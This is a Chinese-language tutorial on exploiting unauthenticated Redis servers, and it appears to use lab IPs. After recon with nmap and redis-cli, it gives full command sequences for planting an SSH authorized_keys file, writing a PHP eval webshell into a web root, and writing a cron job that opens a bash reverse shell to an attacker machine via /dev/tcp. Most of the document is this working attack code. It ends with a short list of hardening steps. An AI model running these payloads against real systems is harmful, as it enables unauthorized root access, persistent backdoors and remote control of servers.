环境安装
下载源码
解压缩后编译源码。
1 2 3 4
| $ wget http://download.redis.io/releases/redis-2.8.3.tar.gz $ tar xzf redis-2.8.3.tar.gz $ cd redis-2.8.3 $ make
|
编译完成后
在Src目录下,有四个可执行文件redis-server、redis-benchmark、redis-cli和redis.conf。然后拷贝到一个目录下。
1 2 3 4 5 6
| mkdir /usr/redis cp redis-server /usr/redis cp redis-benchmark /usr/redis cp redis-cli /usr/redis cp redis.conf /usr/redis cd /usr/redis
|
启动redis服务
1
| ./redis-server ./redis.conf
|
查看redis是否开启
1
| netstat -ntlp | grep redis
|
漏洞利用
- 保存到www目录,创建webshell
- 创建SSH authorized_keys文件
- 写计划任务(/var/spool/cron/&/etc/cron.d/)
- slave of 8.8.8.8主从模式利用
- 写入到/etc/profile.d/用户环境变量
- 开启AOF持久化纯文本记录appendfilename
利用nmap获取redis信息
1
| nmap -A -p6379 --script=redis-info 192.168.132.134
|
利用redis客户端进行未授权访问
1 2
| ./redis-cli -h 192.168.132.134 192.168.132.134:6379> info
|
当然,如果redis存在访问密码的话,可以使用如下:
1
| ./redis-cli -h 192.168.132.134 –a [password]
|
利用redis连接写入ssh公钥
在攻击机上生成ssh公钥和私钥
将公钥写入文本
1 2
| cd ~/.ssh/ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n")> 1.txt
|
将1.txt写入redis
1
| cat 1.txt | /usr/local/redis/./redis-cli -h 192.168.132.134 -x set crack
|
利用redis客户端连接靶机redis
1
| ./redis-cli -h 192.168.132.134
|
获取redis备份的路径
1
| 192.168.132.134:6379> CONFIG GET dir
|
更改redis备份路径
1
| 192.168.132.134:6379> CONFIG SET dir /root/.ssh
|
设置备份文件的名称为authorized_keys
1
| 192.168.132.134:6379> CONFIG SET dbfilename authorized_keys
|
检查是否更改
1
| 192.168.132.134:6379> CONFIG GET dbfilename
|
保存
1
| 192.168.132.134:6379> save
|
ssh连接
1
| ssh –i id_rsa root@192.168.1.11
|
利用redis写入Shell
查看是否存在web服务
确定web服务目录
1 2 3 4
| config set dir /usr/local/apache/htdocs/ config set dbfilename ok.php set test "<?php @eval($_POST[123]);?>" save
|
菜刀连接一句话木马
写计划任务来反弹shell
telnet登录/也可以redis-cli登录
1 2 3 4 5
| telnet 192.168.236.130 6379 //未授权登录
config set dir /var/spool/cron/ //配置文件夹的路径(CONFIG SET 命令可以动态地调整 Redis 服务器的配置而(configuration)而无须重启。)//每个用户生成的crontab文件,都会放在 /var/spool/cron/ 目录下面
set -.- "\n\n\n* * * * * bash -i >& /dev/tcp/192.168.236.129/9999 0>&1\n\n\n" //直接往当前用户的crontab里写入反弹shell,换行是必不可少的。
|
nc反弹
漏洞修复
- 禁止使用 root 权限启动 redis 服务;
- 对 redis 访问启用密码认证,并且添加 IP 访问限制;
- 尽可能不对公网直接开放 SSH 服务。